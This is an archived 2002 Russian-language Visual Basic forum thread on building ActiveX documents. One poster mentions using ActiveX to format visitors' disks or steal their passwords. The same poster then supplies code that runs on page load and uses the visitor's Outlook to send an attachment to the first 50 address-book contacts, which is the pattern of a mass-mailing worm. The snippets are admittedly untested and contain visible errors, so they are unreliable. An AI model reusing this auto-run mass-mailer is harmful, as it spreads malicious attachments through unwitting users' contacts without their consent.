| WWW.ИСХОДНИКИ.РУ | cpp.sources.ru | |
| java.sources.ru | web.sources.ru | soft.sources.ru |
| jdbc.sources.ru | asp.sources.ru | api.sources.ru |
Форум на исходниках
Visual Basic
ActivеX
|
Форум на исходниках
Visual Basic
ActivеX
| |||||||||
| Автор | Тема: ActivеX |
| k2mcb |
опубликован 22-01-2002 07:27 MSK  
Кто-нибудь может прислать простенький пример создания ActivеX |
| cr |
опубликован 23-01-2002 00:33 MSK
'ActiveX в основном ориентирован на интеренет. 'Полученные приложения нужно запускать в браузере (например, IE4.0) 'Кстати, некоторым личностям может быть интересно то, что с помощью ActiveX можно 'писать вирусы, трояны, вормы и прочую прелесть, для распространения их через инет. '(Заходит человек на какой-нить http://rulezz.ru и у него винт форматируется или 'все пвлки на hacker@мыло.его отправляются) 'so, example 'вот примерчик браузера картинок в браузере IE:) '*********************************************** 'ctrl+N и вместо стандарт екзе - ActiveX Document EXE 'на "форму": DriveListBox (Drive1), DirListBox(Dir1), 'FileListBox(File1) и PictureBox(Picture1) 'код: Private Sub Drive1_Change() Dir1.Path = Drive1.Drive End Sub Private Sub dir1_change() File1.Path = Dir1.Drive End Sub Private Sub File1_Click() Picture1.Picture = LoadPicture(Dir1.Path & File1.FileName) End Sub Private Sub UserDocument_Initialize() File1.Pattern = "*.bmp" 'будем отображать только *.bmp End Sub Private Sub userDocument_Resize() File1.hight = (ScaleHeight - File1.Top) Picture1.hight = ScaleHeight Picture1.Width = (ScaleHeight - Picture1.Left) End Sub 'все 'вот так оно и пишется. Можно все, что угодно делать '(кнопочки, рисунки, расчеты, фомулы, создание/удаление файлов на диске и пр. и 'все для интернета) 'можно чат, например замутить и делается это намного проще чем на perl, 'JavaScript и т.п. 'Да, если в браузере отключена поддержка ActiveX - нужно включить. |
| AlexR |
опубликован 23-01-2002 00:41 MSK
to cr: а ты не знаешь как письмо на е-мэйл послать? (через ActiveX) |
| cr |
опубликован 24-01-2002 10:16 MSK
'To AlexR 'большинство пользователей интернета юзают MS Outlook 'можно попробовать с помощью него ' 'массовая рассылка: Private Sub UserDocument_Initialize() Dim outlookobject, outmail, index Set outlookobject = CreateObject("outlook.application") For index = 1 To 50 'для первых 50и из адресной книги outmail.To = outlookobject.getnamespace("MAPI").addressentires(index) outmail.subject = "Тема письма" outmail.body = "Тело сообщения" outmail.attachments.Add (YOUR_file) outmail.Send Next index End Sub ' 'отправка одного письма себе: Private Sub UserDocument_Initialize() Dim outlookobject, outmail, index Set outlookobject = CreateObject("outlook.application") Set outmail = outlookobject.createitem(0) outmail.recipients.Add ("Твой@e.mail") outmail.subject = "Тема письма" outmail.body = "Тело сообщения" outmail.attachments.Add (YOUR_file) outmail.Send End Sub 'ни то, ни друое не проверял, т.к. не юзаю оутлок ' 'можно еще так попробовать: Private Sub UserDocument_Initialize() Dim res As String Dim a As String Dim b As String Dim c As String a = "кому@отправлять.ru" b = "Тема" с = "Тело" res = Send_eMail(a, b, c) If res = False Then MsgBox "Ошибка при отправке сообщения" Else MsgBox "Сообщение отправлено" End If End Sub Private Function Send_eMail(sendto As String, subject As String, _ text As String) As Boolean On Error GoTo ErrHandler MAPISession1.SignOn MAPIMessages1.SessionID = .SessionID With MAPIMessages1 .Compose .RecipDisplayName = sendto .AddressResolveUI = True .ResolveName .MsgSubject = subject .MsgNoteText = text .Send End With Send_eMail = True MAPISession1.SignOff Exit Function ErrHandler: MsgBox Err.Description Send_eMail = False End Function |
Powered by: Ultimate Bulletin Board, Freeware Version 5.10a
Purchase our Licensed Version- which adds many more features!
© Infopop Corporation (formerly Madrona Park, Inc.), 1998 - 2000.